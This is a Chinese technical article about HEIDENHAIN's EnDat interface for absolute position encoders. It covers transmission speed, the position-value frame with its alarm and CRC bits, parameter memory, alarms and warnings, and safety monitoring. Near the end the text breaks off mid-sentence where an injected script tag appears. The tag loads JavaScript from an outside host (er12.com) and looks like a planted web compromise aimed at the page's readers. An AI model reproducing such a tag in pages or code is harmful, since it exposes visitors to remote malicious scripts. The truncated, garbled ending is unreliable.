绝对位置测量系统的高速接口

位置编码器经常应用于以可编程逻辑控制器(plc)为基础的控制系统。这些系统的线路通常设计为点点连接。当这样的设计要求将位置值快速的传送到plc 时,通常需要复杂的电缆配置结构。

图1:旋转编码器的普通通讯结构现在的流行趋势是通过在plc 与传动装置及传感器之间使用区域总线结构(如:can、interbus-s、profibus-dp 等)来减少电缆的复杂性。与点点结构相比,区域总线传送位置值需要更长的时间。一个带有几个传动装置及传感器的传送时间通常为一或几个毫秒。由此在控制环中产生的停滞时间是许多应用软件所不能接受的。同时,一个带有区域总线接口的位置编码器的价格也比较昂贵。因此,带有区域总线接口的位置编码器的最佳配置是那些控制上要求低或中等,且系统要求区域总线的应用软件。
表1:不同接口类型的特点

为了快速响应命令,折衷的解决方法是使用分散的输入/输出元件或在传感器及传动装置附近使用分散的plc。位置编码器通过非常短的电缆以点点结构的方式连接于分散的i/o 或plc,缩短了通过区域总线将数据传送到上一级plc 的时间。这个解决方案有两个好处:即通过点点结构缩短了传送时间又通过区域总线减少了长距离传送的电缆。

对于那些时间作为关键因素的应用软件,仍然保持着从编码器到电气控制元件之间的点点通讯。然而,在现在使用的大多数用于连续同步位置传送的点点结构具有下列缺点:

传送可靠性低,

传送速率低,

无自动参数输入,

无安全监控,

较少的监控及诊断功能,

个别类型为绝对位置测量。

由于新的endat(编码器数据)接口的发展,heidenhain 成功开发了适用于所有类型绝对值编码器的从位置编码器到后继电路通过点点通讯的标准接口,并且避免了上述缺点。

点点通讯的标准化接口

带有endat 接口的位置编码器通过后继电路发送的时钟信号实现双向传送。通过仅四条线,不仅可以传送位置值并且可以快速可靠地传送参数。通过后继电路发送命令给编码器来确定是传送位置值或参数。

位置值传送(图2)由一个起始位及报警位开始。后面为纯二进制代码的位置值及五个crc 校验位。报警位为所有监控功能的综合信息并可用于故障监控。引发报警的具体说明储存于编码器的存储器中并可通过后继电路读出。

图2:位置值传送开始于一个起始位及一个报警位编码器有不同的用于通过后继电路读写的存储区(图3)。操作参数存储区包含可修改数据,oem 或最终用户可以修改这些参数来匹配电机或机床。oem 参数存储区可自由定义并写保护。编码器制造商参数存储区包含所有编码器的特殊数据并被写保护。

图3:可通过后继电路读写的存储区作为一个选项,可以附加传送幅值为1vpp 的正弦增量信号。电缆最长为150 米。连续数据传送的最大时钟频率为2mhz。

自动的参数设置

编码器参数包含反应编码器的特定信息,如:编码器类型(单转、多转、线性)、每转测量步距或分辨率。现在,通常是人工通过控制面板或计算机手工输入这些参数。当然,这种方法要耗费时间并容易导致错误。带有endat 接口的编码通过编码器制造商将编码器所有参数存储于一个单独的存储区。这样,就可读出参数和自动输入参数。

通过维护及维修人员,编码器可以存储两个单独的字,每一个16 位,用来描述导致编码器故障或长时间超出公差范围的原因。这些字用来区别报警或警告。当出现可能导致编码器输出不正确位置值的故障时,产生报警。举例来说,如果电源电压太低、光源故障或扫描信号的振幅太低等都会产生报警。

警告仅在超出某些编码器内部的公差极限值时显示。包括最大的电气允许速度、允许的操作温度及来自于光源控制响应的终止等。

警告不需要显示已经传送的不正确的位置值。只是在必要时要做一些预防性的维护,因此减少了昂贵的系统的空闲时间。

安全监控的支持

为了减少成本,机床和系统制造商希望取消限位开关。为了系统的安全性,通常需要使用两个位置编码器。一些机床制造商希望仅使用一个可在静止和相应的高速时都能提供“安全的”位置值的位置编码器。多转的绝对式编码器即是实现这一要求的一个案例。基本设计原理是该编码器上有一组刻线盘,其中一些刻度盘与机械齿轮组相连。扫描单独的刻度盘便可以直接通过输入选通门阵列获得逻辑数字位置值。逻辑选通门避免了各齿轮级之间的不?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计